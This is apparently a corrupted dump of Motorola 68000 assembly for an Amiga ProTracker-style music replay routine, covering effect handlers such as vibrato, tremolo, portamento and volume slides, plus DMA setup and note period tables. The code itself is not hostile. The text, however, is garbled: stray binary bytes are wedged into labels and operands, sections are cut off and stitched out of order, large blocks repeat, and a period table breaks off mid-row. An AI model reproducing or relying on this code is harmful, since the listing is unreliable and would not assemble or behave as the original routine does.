mt_TremoloNeg ADD.W D2,D0 BRA mt_Tremolo3 mt_TremoloNeg: SUB.W D2,D0 mt_Tremolo3: BPL mt_TremoloSkip CLR.W D0 mt_TremoloSkip: CMP.W #$40,D0 BLS mt_TremoloOk MOVE.W #$40,D0 mt_TremoloOk: MOVE.W D0,8(A5) MOVE.B n_tremolocmd(A6),D0 LSR.W #2,D0 AND.W #$003C,D0 ADD.B D0,n_tremolopos(A6) RTS mt_SampleOffset: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 BEQ mt_sononew MOVE.B D0,n_sampleoffset(A6) mt_?e\sononew: MOVE.B n_sampleoffset(A6),D0 LSL.W #7,D0 CMP.W n_length(A6),D0 BGE mt_sofskip SUB.W D0,n_length(A6) LSL.W #1,D0 ADD.L D0,n_start(A6) RTS mt_sofskip: MOVE.W #$0001,n_length(A6) RTS mt_VolumeSlide: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 TST.B D0 BEQ mt_VolSlideDown mt_VolSlideUp: ADD.B D0,n_volume(A6) CMP.B #$40,n_volume(A6) BMI mt_vsuskip MOVE.B #$40,n_volume(A6) mt_vsuskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_VolSlideDown: MOVEQ #0,D?E\0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 mt_VolSlideDown2: SUB.B D0,n_volume(A6) BPL mt_vsdskip CLR.B n_volume(A6) mt_vsdskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_PositionJump: MOVE.B n_cmdlo(A6),D0 SUBQ.B #1,D0 MOVE.B D0,mt_SongPos mt_pj2: CLR.B mt_PBreakPos ST mt_PosJumpFlag RTS mt_VolumeChange: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 CMP.B #$40,D0 BLS mt_VolumeOk MOVEQ #$40,D0 mt_VolumeOk: MOVE.B D0,n_volume(A6) MOVE.W D0,8(A5) RTS mt_PatternBreak: MOVEQ?Ӿ #0,D0 MOVE.B n_cmdlo(A6),D0 MOVE.L D0,D2 LSR.B #4,D0 MULU #10,D0 AND.B #$0F,D2 ADD.B D2,D0 CMP.B #63,D0 BHI mt_pj2 MOVE.B D0,mt_PBreakPos ST mt_PosJumpFlag RTS mt_SetSpeed: MOVE.B 3(A6),D0 BEQ mt_Return2 CLR.B mt_counter MOVE.B D0,mt_speed RTS mt_CheckMoreEfx: BSR mt_UpdateFunk MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #$9,D0 BEQ mt_SampleOffset CMP.B #$B,D0 BEQ mt_PositionJump CMP.B #$D,D0 BEQ mt_PatternBreak CMP.B #$E,D0 BEQ mt_E_Commands CMP.B #$F,D0 BEQ ?k=mt_SetSpeed CMP.B #$C,D0 BEQ mt_VolumeChange RTS mt_E_Commands: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 LSR.B #4,D0 BEQ mt_FilterOnOff CMP.B #1,D0 BEQ mt_FinePortaUp CMP.B #2,D0 BEQ mt_FinePortaDown CMP.B #3,D0 BEQ mt_SetGlissControl CMP.B #4,D0 BEQ mt_SetVibratoControl CMP.B #5,D0 BEQ mt_SetFineTune CMP.B #6,D0 BEQ mt_JumpLoop CMP.B #7,D0 BEQ mt_SetTremoloControl CMP.B #9,D0 BEQ mt_RetrigNote CMP.B #$A,D0 BEQ mt_VolumeFineUp CMP.B #$B,D0 BEQ mt_VolumeFineDow? 4+*nt(A6),$D0(A5) MOVE.W n_replen(A6),$D4(A5) LEA mt_chan3temp(PC),A6 MOVE.L n_loopstart(A6),$C0(A5) MOVE.W n_replen(A6),$C4(A5) LEA mt_chan2temp(PC),A6 MOVE.L n_loopstart(A6),$B0(A5) MOVE.W n_replen(A6),$B4(A5) LEA mt_chan1temp(PC),A6 MOVE.L n_loopstart(A6),$A0(A5) MOVE.W n_replen(A6),$A4(A5) mt_dskip: ADD.W #16,mt_PatternPos MOVE.B mt_PattDelTime,D0 BEQ mt_dskc MOVE.B D0,mt_PattDelTime2 CLR.B mt_PattDelTime mt_dskc:TST.B mt_PattDelTime2 BEQ mt_dska SUBQ.B #1,mt_PattDe?QtlTime2 BEQ mt_dska SUB.W #16,mt_PatternPos mt_dska:TST.B mt_PBreakFlag BEQ mt_nnpysk SF mt_PBreakFlag MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 CLR.B mt_PBreakPos LSL.W #4,D0 MOVE.W D0,mt_PatternPos mt_nnpysk: CMP.W #1024,mt_PatternPos BLO mt_NoNewPosYet mt_NextPosition: MOVEQ #0,D0 MOVE.B mt_PBreakPos(PC),D0 LSL.W #4,D0 MOVE.W D0,mt_PatternPos CLR.B mt_PBreakPos CLR.B mt_PosJumpFlag ADDQ.B #1,mt_SongPos AND.B #$7F,mt_SongPos MOVE.B mt_SongPos(PC),D1 MOVE.L mt_SongD?xxjhataPtr(PC),A0 CMP.B 950(A0),D1 BLO mt_NoNewPosYet CLR.B mt_SongPos mt_NoNewPosYet: TST.B mt_PosJumpFlag BNE mt_NextPosition MOVEM.L (SP)+,D0-D4/A0-A6 RTS mt_CheckEfx: BSR mt_UpdateFunk MOVE.W n_cmd(A6),D0 AND.W #$0FFF,D0 BEQ mt_PerNop MOVE.B n_cmd(A6),D0 AND.B #$0F,D0 BEQ mt_Arpeggio CMP.B #1,D0 BEQ mt_PortaUp CMP.B #2,D0 BEQ mt_PortaDown CMP.B #3,D0 BEQ mt_TonePortamento CMP.B #4,D0 BEQ mt_Vibrato CMP.B #5,D0 BEQ mt_TonePlusVolSlide CMP.B #6,D0 BEQ mt_Vibr?ƋatoPlusVolSlide CMP.B #$E,D0 BEQ mt_E_Commands SetBack:MOVE.W n_period(A6),6(A5) CMP.B #7,D0 BEQ mt_Tremolo CMP.B #$A,D0 BEQ mt_VolumeSlide mt_Return2: RTS mt_PerNop: MOVE.W n_period(A6),6(A5) RTS mt_Arpeggio: MOVEQ #0,D0 MOVE.B mt_counter(PC),D0 DIVS #3,D0 SWAP D0 CMP.W #0,D0 BEQ mt_Arpeggio2 CMP.W #2,D0 BEQ mt_Arpeggio1 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 BRA mt_Arpeggio3 mt_Arpeggio1: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #15,D0 BRA mt_Arpeg?഑gio3 mt_Arpeggio2: MOVE.W n_period(A6),D2 BRA mt_Arpeggio4 mt_Arpeggio3: ASL.W #1,D0 MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 LEA mt_PeriodTable(PC),A0 ADD.L D1,A0 MOVEQ #0,D1 MOVE.W n_period(A6),D1 MOVEQ #36,D7 mt_arploop: MOVE.W (A0,D0.W),D2 CMP.W (A0),D1 BHS mt_Arpeggio4 ADDQ.L #2,A0 DBRA D7,mt_arploop RTS mt_Arpeggio4: MOVE.W D2,6(A5) RTS mt_FinePortaUp: TST.B mt_counter BNE mt_Return2 MOVE.B #$0F,mt_LowMask mt_PortaUp: MOVEQ #0,D0 MOVE.B n_c?ZEmdlo(A6),D0 AND.B mt_LowMask(PC),D0 MOVE.B #$FF,mt_LowMask SUB.W D0,n_period(A6) MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 CMP.W #113,D0 BPL mt_PortaUskip AND.W #$F000,n_period(A6) OR.W #113,n_period(A6) mt_PortaUskip: MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 MOVE.W D0,6(A5) RTS mt_FinePortaDown: TST.B mt_counter BNE mt_Return2 MOVE.B #$0F,mt_LowMask mt_PortaDown: CLR.W D0 MOVE.B n_cmdlo(A6),D0 AND.B mt_LowMask(PC),D0 MOVE.B #$FF,mt_LowMask ADD.W D0,n_period(A6) M?QOVE.W n_period(A6),D0 AND.W #$0FFF,D0 CMP.W #856,D0 BMI mt_PortaDskip AND.W #$F000,n_period(A6) OR.W #856,n_period(A6) mt_PortaDskip: MOVE.W n_period(A6),D0 AND.W #$0FFF,D0 MOVE.W D0,6(A5) RTS mt_SetTonePorta: MOVE.L A0,-(SP) MOVE.W (A6),D2 AND.W #$0FFF,D2 MOVEQ #0,D0 MOVE.B n_finetune(A6),D0 MULU #37*2,D0 LEA mt_PeriodTable(PC),A0 ADD.L D0,A0 MOVEQ #0,D0 mt_StpLoop: CMP.W (A0,D0.W),D2 BHS mt_StpFound ADDQ.W #2,D0 CMP.W #37*2,D0 BLO mt_StpLoop MOVEQ #35*2,D0 ?,mt_StpFound: MOVE.B n_finetune(A6),D2 AND.B #8,D2 BEQ mt_StpGoss TST.W D0 BEQ mt_StpGoss SUBQ.W #2,D0 mt_StpGoss: MOVE.W (A0,D0.W),D2 MOVE.L (SP)+,A0 MOVE.W D2,n_wantedperiod(A6) MOVE.W n_period(A6),D0 CLR.B n_toneportdirec(A6) CMP.W D0,D2 BEQ mt_ClearTonePorta BGE mt_Return2 MOVE.B #1,n_toneportdirec(A6) RTS mt_ClearTonePorta: CLR.W n_wantedperiod(A6) RTS mt_TonePortamento: MOVE.B n_cmdlo(A6),D0 BEQ mt_TonePortNoChange MOVE.B D0,n_toneportspeed(A6) CLR.B n_cm? $0F MOVE.B (A6),D0 AND.B #$F0,D0 OR.B D0,D2 TST.B D2?ɨ5H BEQ mt_SetRegs MOVEQ #0,D3 LEA mt_SampleStarts(PC),A1 MOVE D2,D4 SUBQ.L #1,D2 ;-1 ASL.L #2,D2 ;*4 MULU #30,D4 ;*30 MOVE.L (A1,D2.L),n_start(A6) MOVE.W (A3,D4.L),n_length(A6) MOVE.W (A3,D4.L),n_reallength(A6) MOVE.B 2(A3,D4.L),n_finetune(A6) MOVE.B 3(A3,D4.L),n_volume(A6) MOVE.W 4(A3,D4.L),D3 ; Get repeat TST.W D3 BEQ mt_NoLoop MOVE.L n_start(A6),D2 ; Get start ASL.W #1,D3 ADD.L D3,D2 ; Add repeat MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 4(A? 2t*|3,D4.L),D0 ; Get repeat ADD.W 6(A3,D4.L),D0 ; Add replen MOVE.W D0,n_length(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume BRA mt_SetRegs mt_NoLoop: MOVE.L n_start(A6),D2 ADD.L D3,D2 MOVE.L D2,n_loopstart(A6) MOVE.L D2,n_wavestart(A6) MOVE.W 6(A3,D4.L),n_replen(A6) ; Save replen MOVEQ #0,D0 MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) ; Set volume mt_SetRegs: MOVE.W (A6),D0 AND.W #$0FFF,D0 BEQ mt_CheckMore? Ԛ1Efx ; If no note MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0E50,D0 BEQ mt_DoSetFineTune MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #3,D0 ; TonePortamento BEQ mt_ChkTonePorta CMP.B #5,D0 BEQ mt_ChkTonePorta CMP.B #9,D0 ; Sample Offset BNE mt_SetPeriod BSR mt_CheckMoreEfx BRA mt_SetPeriod mt_DoSetFineTune: BSR mt_SetFineTune BRA mt_SetPeriod mt_ChkTonePorta: BSR mt_SetTonePorta BRA mt_CheckMoreEfx mt_SetPeriod: MOVEM.L D0-D1/A0-A1,-(SP) MOVE.W (A6),D1 AND.W #$0FFF,D1 LE? 3eA mt_PeriodTable(PC),A1 MOVEQ #0,D0 MOVEQ #36,D7 mt_ftuloop: CMP.W (A1,D0.W),D1 BHS mt_ftufound ADDQ.L #2,D0 DBRA D7,mt_ftuloop mt_ftufound: MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 ADD.L D1,A1 MOVE.W (A1,D0.W),n_period(A6) MOVEM.L (SP)+,D0-D1/A0-A1 MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0ED0,D0 ; Notedelay BEQ mt_CheckMoreEfx MOVE.W n_dmabit(A6),$DFF096 BTST #2,n_wavecontrol(A6) BNE mt_vibnoc CLR.B n_vibratopos(A6) mt_vibnoc: BTST #6,n_wavecontrol(A? ?6) BNE mt_trenoc CLR.B n_tremolopos(A6) mt_trenoc: MOVE.L n_start(A6),(A5) ; Set start MOVE.W n_length(A6),4(A5) ; Set length MOVE.W n_period(A6),D0 MOVE.W D0,6(A5) ; Set period MOVE.W n_dmabit(A6),D0 OR.W D0,mt_DMACONtemp BRA mt_CheckMoreEfx mt_SetDMA: MOVE.W #300,D0 mt_WaitDMA: DBRA D0,mt_WaitDMA MOVE.W mt_DMACONtemp(PC),D0 OR.W #$8000,D0 MOVE.W D0,$DFF096 MOVE.W #300,D0 mt_WaitDMA2: DBRA D0,mt_WaitDMA2 LEA $DFF000,A5 LEA mt_chan4temp(PC),A6 MOVE.L n_loopstar?!_ tFineTune: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 MOVE.B D0,n_finetune(A6) RTS mt_JumpLoop: TST.B mt_counter BNE mt_Return2 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BEQ mt_SetLoop TST.B n_loopcount(A6) BEQ mt_jumpcnt SUB.B #1,n_loopcount(A6) BEQ mt_Return2 mt_jmploop: MOVE.B n_pattpos(A6),mt_PBreakPos ST mt_PBreakFlag RTS mt_jumpcnt: MOVE.B D0,n_loopcount(A6) BRA mt_jmploop mt_SetLoop: MOVE.W mt_PatternPos(PC),D0 LSR.W #4,D0 MOVE.B D0,n_pattpos(A6) RTS mt_SetTremoloC?"ϋ>ontrol: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 LSL.B #4,D0 AND.B #$0F,n_wavecontrol(A6) OR.B D0,n_wavecontrol(A6) RTS mt_RetrigNote: MOVE.L D1,-(SP) MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BEQ mt_rtnend MOVEQ #0,D1 MOVE.B mt_counter(PC),D1 BNE mt_rtnskp MOVE.W n_note(A6),D1 AND.W #$0FFF,D1 BNE mt_rtnend MOVEQ #0,D1 MOVE.B mt_counter(PC),D1 mt_rtnskp: DIVU D0,D1 SWAP D1 TST.W D1 BNE mt_rtnend mt_DoRetrig: MOVE.W n_dmabit(A6),$DFF096 ; Channel DMA off MOV?#о@E.L n_start(A6),(A5) ; Set sampledata pointer MOVE.W n_length(A6),4(A5) ; Set length MOVE.W #300,D0 mt_rtnloop1: DBRA D0,mt_rtnloop1 MOVE.W n_dmabit(A6),D0 BSET #15,D0 MOVE.W D0,$DFF096 MOVE.W #300,D0 mt_rtnloop2: DBRA D0,mt_rtnloop2 MOVE.L n_loopstart(A6),(A5) MOVE.L n_replen(A6),4(A5) mt_rtnend: MOVE.L (SP)+,D1 RTS mt_VolumeFineUp: TST.B mt_counter BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$F,D0 BRA mt_VolSlideUp mt_VolumeFineDown: TST.B mt_counte?$^ r BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 BRA mt_VolSlideDown2 mt_NoteCut: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_counter(PC),D0 BNE mt_Return2 CLR.B n_volume(A6) MOVE.W #0,8(A5) RTS mt_NoteDelay: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 CMP.B mt_Counter,D0 BNE mt_Return2 MOVE.W (A6),D0 BEQ mt_Return2 MOVE.L D1,-(SP) BRA mt_DoRetrig mt_PatternDelay: TST.B mt_counter BNE mt_Return2 MOVEQ #0,D0 MOVE.B n_cmdlo(?%=A6),D0 AND.B #$0F,D0 TST.B mt_PattDelTime2 BNE mt_Return2 ADDQ.B #1,D0 MOVE.B D0,mt_PattDelTime RTS mt_FunkIt: TST.B mt_counter BNE mt_Return2 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 LSL.B #4,D0 AND.B #$0F,n_glissfunk(A6) OR.B D0,n_glissfunk(A6) TST.B D0 BEQ mt_Return2 mt_UpdateFunk: MOVEM.L A0/D1-D2,-(SP) MOVEQ #0,D0 MOVE.B n_glissfunk(A6),D0 LSR.B #4,D0 BEQ mt_funkend LEA mt_FunkTable(PC),A0 MOVE.B (A0,D0.W),D0 ADD.B D0,n_funkoffset(A6) BTST #7,n_funkoffset(A6)?&_ԗ BEQ mt_funkend CLR.B n_funkoffset(A6) MOVE.L n_start(A6),D1 MOVEQ #0,D2 MOVE.W n_reallength(A6),D2 LSL.W #1,D2 ADD.L D2,D1 MOVE.W n_replen(A6),D2 LSL.L #1,D2 SUB.L D2,D1 MOVE.L n_wavestart(A6),D2 MOVEQ #0,D0 MOVE.W n_replen(A6),D0 LSL.L #1,D0 ADD.L D0,D2 CMP.L D1,D2 BLS mt_funkok MOVE.L n_loopstart(A6),D2 mt_funkok: MOVE.L D2,n_wavestart(A6) MOVE.L D2,(A5) mt_funkend: MOVEM.L (SP)+,A0/D1-D2 RTS mt_FunkTable:dc.b 0,5,6,7,8,10,11,13,16,19,22,26,32,43,64,128 ?'mt_VibratoTable: dc.b 0, 24, 49, 74, 97,120,141,161 dc.b 180,197,212,224,235,244,250,253 dc.b 255,253,250,244,235,224,212,197 dc.b 180,161,141,120, 97, 74, 49, 24 mt_PeriodTable: ; Tuning 0, Normal dc.w 856,808,762,720,678,640,604,570,538,508,480,453 dc.w 428,404,381,360,339,320,302,285,269,254,240,226 dc.w 214,202,190,180,170,160,151,143,135,127,120,113 ; Tuning 1 dc.w 850,802,757,715,674,637,601,567,535,505,477,450 dc.w 425,401,379,357,337,318,300,284,268,253,239,225 d?(Ӧӿc.w 213,201,189,179,169,159,150,142,134,126,119,113 ; Tuning 2 dc.w 844,796,752,709,670,632,597,563,532,502,474,447 dc.w 422,398,376,355,335,316,298,282,266,251,237,224 dc.w 211,199,188,177,167,158,149,141,133,125,118,112 ; Tuning 3 dc.w 838,791,746,704,665,628,592,559,528,498,470,444 dc.w 419,395,373,352,332,314,296,280,264,249,235,222 dc.w 209,198,187,176,166,157,148,140,132,125,118,111 ; Tuning 4 dc.w 832,785,741,699,660,623,588,555,524,495,467,441 dc.w 416,392,370,350,330?)5,312,294,278,262,247,233,220 dc.w 208,196,185,175,165,156,147,139,131,124,117,110 ; Tuning 5 dc.w 826,779,736,694,655,619,584,551,520,491,463,437 dc.w 413,390,368,347,328,309,292,276,260,245,232,219 dc.w 206,195,184,174,164,155,146,138,130,123,116,109 ; Tuning 6 dc.w 820,774,730,689,651,614,580,547,516,487,460,434 dc.w 410,387,365,345,325,307,290,274,258,244,230,217 dc.w 205,193,183,172,163,154,145,137,129,122,115,109 ; Tuning 7 dc.w 814,768,725,684,646,610,575,543,513,484,45?*[7,431 dc.w 407,384,363,342,323,305,288,272,256,242,228,216 dc.w 204,192,181,171,161,152,144,136,128,121,114,108 ; Tuning -8 dc.w 907,856,808,762,720,678,640,604,570,538,508,480 dc.w 453,428,404,381,360,339,320,302,285,269,254,240 dc.w 226,214,202,190,180,170,160,151,143,135,127,120 ; Tuning -7 dc.w 900,850,802,757,715,675,636,601,567,535,505,477 dc.w 450,425,401,379,357,337,318,300,284,268,253,238 dc.w 225,212,200,189,179,169,159,150,142,134,126,119 ; Tuning -6 dc.w 894,844,?+zt796,752,709,670,632,597,563,532,502,474 dc.w 447,422,398,376,355,335,316,298,282,266,251,237 dc.w 223,211,199,188,177,167,158,149,141,133,125,118 ; Tuning -5 dc.w 887,838,791,746,704,665,628,592,559,528,498,470 dc.w 444,419,395,373,352,332,314,296,280,264,249,235 dc.w 222,209,198,187,176,166,157,148,140,132,125,118 ; Tuning -4 dc.w 881,832,785,741,699,660,623,588,555,524,494,467 dc.w 441,416,392,370,350,330,312,294,278,262,247,233 dc.w 220,208,196,185,175,165,156,147,139,131,?Z3MOVE.W n_wantedperiod(A6),n_period(A6) CLR.W n_wantedperiod(A6) mt_TonePortaSetPer: MOVE.W n_period(A6),D2 MOVE.B n_glissfunk(A6),D0 AND.B #$0F,D0 BEQ mt_GlissSkip MOVEQ #0,D0 MOVE.B n_finetune(A6),D0 MULU #36*2,D0 LEA mt_PeriodTable(PC),A0 ADD.L D0,A0 MOVEQ #0,D0 mt_GlissLoop: CMP.W (A0,D0.W),D2 BHS mt_GlissFound ADDQ.W #2,D0 CMP.W #36*2,D0 BLO mt_GlissLoop MOVEQ #35*2,D0 mt_GlissFound: MOVE.W (A0,D0.W),D2 mt_GlissSkip: MOVE.W D2,6(A5) ; Set period RTS mt_Vibra?ڣ}Mto: MOVE.B n_cmdlo(A6),D0 BEQ mt_Vibrato2 MOVE.B n_vibratocmd(A6),D2 AND.B #$0F,D0 BEQ mt_vibskip AND.B #$F0,D2 OR.B D0,D2 mt_vibskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_vibskip2 AND.B #$0F,D2 OR.B D0,D2 mt_vibskip2: MOVE.B D2,n_vibratocmd(A6) mt_Vibrato2: MOVE.B n_vibratopos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B n_wavecontrol(A6),D2 AND.B #$03,D2 BEQ mt_vib_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_vib_rampdown MO?\VE.B #255,D2 BRA mt_vib_set mt_vib_rampdown: TST.B n_vibratopos(A6) BPL mt_vib_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_vib_set mt_vib_rampdown2: MOVE.B D0,D2 BRA mt_vib_set mt_vib_sine: MOVE.B 0(A4,D0.W),D2 mt_vib_set: MOVE.B n_vibratocmd(A6),D0 AND.W #15,D0 MULU D0,D2 LSR.W #7,D2 MOVE.W n_period(A6),D0 TST.B n_vibratopos(A6) BMI mt_VibratoNeg ADD.W D2,D0 BRA mt_Vibrato3 mt_VibratoNeg: SUB.W D2,D0 mt_Vibrato3: MOVE.W D0,6(A5) MOVE.B n_vibratocmd(A6),D0 LSR.W?ߢ #2,D0 AND.W #$003C,D0 ADD.B D0,n_vibratopos(A6) RTS mt_TonePlusVolSlide: BSR mt_TonePortNoChange BRA mt_VolumeSlide mt_VibratoPlusVolSlide: BSR mt_Vibrato2 BRA mt_VolumeSlide mt_Tremolo: MOVE.B n_cmdlo(A6),D0 BEQ mt_Tremolo2 MOVE.B n_tremolocmd(A6),D2 AND.B #$0F,D0 BEQ mt_treskip AND.B #$F0,D2 OR.B D0,D2 mt_treskip: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 BEQ mt_treskip2 AND.B #$0F,D2 OR.B D0,D2 mt_treskip2: MOVE.B D2,n_tremolocmd(A6) mt_Tremolo2: MOVE.B n_tremol?LQopos(A6),D0 LEA mt_VibratoTable(PC),A4 LSR.W #2,D0 AND.W #$001F,D0 MOVEQ #0,D2 MOVE.B n_wavecontrol(A6),D2 LSR.B #4,D2 AND.B #$03,D2 BEQ mt_tre_sine LSL.B #3,D0 CMP.B #1,D2 BEQ mt_tre_rampdown MOVE.B #255,D2 BRA mt_tre_set mt_tre_rampdown: TST.B n_vibratopos(A6) BPL mt_tre_rampdown2 MOVE.B #255,D2 SUB.B D0,D2 BRA mt_tre_set mt_tre_rampdown2: MOVE.B D0,D2 BRA mt_tre_set mt_tre_sine: MOVE.B 0(A4,D0.W),D2 mt_tre_set: MOVE.B n_tremolocmd(A6),D0 AND.W #15,D0 MULU D?ކu0,D2 LSR.W #6,D2 MOVEQ #0,D0 MOVE.B n_volume(A6),D0 TST.B n_tremolopos(A6) BMI mt_TremoloNeg ADD.W D2,D0 BRA mt_Tremolo3 mt_TremoloNeg: SUB.W D2,D0 mt_Tremolo3: BPL mt_TremoloSkip CLR.W D0 mt_TremoloSkip: CMP.W #$40,D0 BLS mt_TremoloOk MOVE.W #$40,D0 mt_TremoloOk: MOVE.W D0,8(A5) MOVE.B n_tremolocmd(A6),D0 LSR.W #2,D0 AND.W #$003C,D0 ADD.B D0,n_tremolopos(A6) RTS mt_SampleOffset: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 BEQ mt_sononew MOVE.B D0,n_sampleoffset(A6) mt_?e\sononew: MOVE.B n_sampleoffset(A6),D0 LSL.W #7,D0 CMP.W n_length(A6),D0 BGE mt_sofskip SUB.W D0,n_length(A6) LSL.W #1,D0 ADD.L D0,n_start(A6) RTS mt_sofskip: MOVE.W #$0001,n_length(A6) RTS mt_VolumeSlide: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 LSR.B #4,D0 TST.B D0 BEQ mt_VolSlideDown mt_VolSlideUp: ADD.B D0,n_volume(A6) CMP.B #$40,n_volume(A6) BMI mt_vsuskip MOVE.B #$40,n_volume(A6) mt_vsuskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_VolSlideDown: MOVEQ #0,D?E\0 MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 mt_VolSlideDown2: SUB.B D0,n_volume(A6) BPL mt_vsdskip CLR.B n_volume(A6) mt_vsdskip: MOVE.B n_volume(A6),D0 MOVE.W D0,8(A5) RTS mt_PositionJump: MOVE.B n_cmdlo(A6),D0 SUBQ.B #1,D0 MOVE.B D0,mt_SongPos mt_pj2: CLR.B mt_PBreakPos ST mt_PosJumpFlag RTS mt_VolumeChange: MOVEQ #0,D0 MOVE.B n_cmdlo(A6),D0 CMP.B #$40,D0 BLS mt_VolumeOk MOVEQ #$40,D0 mt_VolumeOk: MOVE.B D0,n_volume(A6) MOVE.W D0,8(A5) RTS mt_PatternBreak: MOVEQ?ӓ #0,D0 MOVE.B n_cmdlo(A6),D0 MOVE.L D0,D2 LSR.B #4,D0 MULU #10,D0 AND.B #$0F,D2 ADD.B D2,D0 CMP.B #63,D0 BHI mt_pj2 MOVE.B D0,mt_PBreakPos ST mt_PosJumpFlag RTS mt_SetSpeed: MOVE.B 3(A6),D0 BEQ mt_Return2 CLR.B mt_counter MOVE.B D0,mt_speed RTS mt_CheckMoreEfx: BSR mt_UpdateFunk MOVE.B 2(A6),D0 AND.B #$0F,D0 CMP.B #$9,D0 BEQ mt_SampleOffset CMP.B #$B,D0 BEQ mt_PositionJump CMP.B #$D,D0 BEQ mt_PatternBreak CMP.B #$E,D0 BEQ mt_E_Commands CMP.B #$F,D0 BEQ ?kmt_SetSpeed CMP.B #$C,D0 BEQ mt_VolumeChange RTS mt_E_Commands: MOVE.B n_cmdlo(A6),D0 AND.B #$F0,D0 LSR.B #4,D0 BEQ mt_FilterOnOff CMP.B #1,D0 BEQ mt_FinePortaUp CMP.B #2,D0 BEQ mt_FinePortaDown CMP.B #3,D0 BEQ mt_SetGlissControl CMP.B #4,D0 BEQ mt_SetVibratoControl CMP.B #5,D0 BEQ mt_SetFineTune CMP.B #6,D0 BEQ mt_JumpLoop CMP.B #7,D0 BEQ mt_SetTremoloControl CMP.B #9,D0 BEQ mt_RetrigNote CMP.B #$A,D0 BEQ mt_VolumeFineUp CMP.B #$B,D0 BEQ mt_VolumeFineDow? ͝Vn CMP.B #$C,D0 BEQ mt_NoteCut CMP.B #$D,D0 BEQ mt_NoteDelay CMP.B #$E,D0 BEQ mt_PatternDelay CMP.B #$F,D0 BEQ mt_FunkIt RTS mt_FilterOnOff: MOVE.B n_cmdlo(A6),D0 AND.B #1,D0 ASL.B #1,D0 AND.B #$FD,$BFE001 OR.B D0,$BFE001 RTS mt_SetGlissControl: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 AND.B #$F0,n_glissfunk(A6) OR.B D0,n_glissfunk(A6) RTS mt_SetVibratoControl: MOVE.B n_cmdlo(A6),D0 AND.B #$0F,D0 AND.B #$F0,n_wavecontrol(A6) OR.B D0,n_wavecontrol(A6) RTS mt_Se? 3eA mt_PeriodTable(PC),A1 MOVEQ #0,D0 MOVEQ #36,D7 mt_ftuloop: CMP.W (A1,D0.W),D1 BHS mt_ftufound ADDQ.L #2,D0 DBRA D7,mt_ftuloop mt_ftufound: MOVEQ #0,D1 MOVE.B n_finetune(A6),D1 MULU #36*2,D1 ADD.L D1,A1 MOVE.W (A1,D0.W),n_period(A6) MOVEM.L (SP)+,D0-D1/A0-A1 MOVE.W 2(A6),D0 AND.W #$0FF0,D0 CMP.W #$0ED0,D0 ; Notedelay BEQ mt_CheckMoreEfx MOVE.W n_dmabit(A6),$DFF096 BTST #2,n_wavecontrol(A6) BNE mt_vibnoc CLR.B n_vibratopos(A6) mt_vibnoc: BTST #6,n_wavecontrol(A? ?r6) BNE mt_trenoc CLR.B n_tremolopos(A6) mt_trenoc: MOVE.L n_start(A6),(A5) ; Set start MOVE.W n_length(A6),4(A5) ; Set length MOVE.W n_period(A6),D0 MOVE.W D0,6(A5) ; Set period MOVE.W n_dmabit(A6),D0 OR.W D0,mt_DMACONtemp BRA mt_CheckMoreEfx mt_SetDMA: MOVE.W #300,D0 mt_WaitDMA: DBRA D0,mt_WaitDMA MOVE.W mt_DMACONtemp(PC),D0 OR.W #$8000,D0 MOVE.W D0,$DFF096 MOVE.W #300,D0 mt_WaitDMA2: DBRA D0,mt_WaitDMA2 LEA $DFF000,A5 LEA mt_chan4temp(PC),A6 MOVE.L n_loopstar? 4+*@t(A6),$D0(A5) MOVE.W n_replen(A6),$D4(A5) LEA mt_chan3temp(PC),A6 MOVE.L n_loopstart(A6),$C0(A5) MOVE.W n_replen(A6),$C4(A5) LEA mt_chan2temp(PC),A6 MOVE.L n_loopstart(A6),$B0(A5) MOVE.W n_replen(A6),$B4(A5) LEA mt_chan1temp(PC),A6 MOVE.L n_loopstart(A6),$A0(A5) MOVE.W n_replen(A6),$A4(A5) mt_dskip: 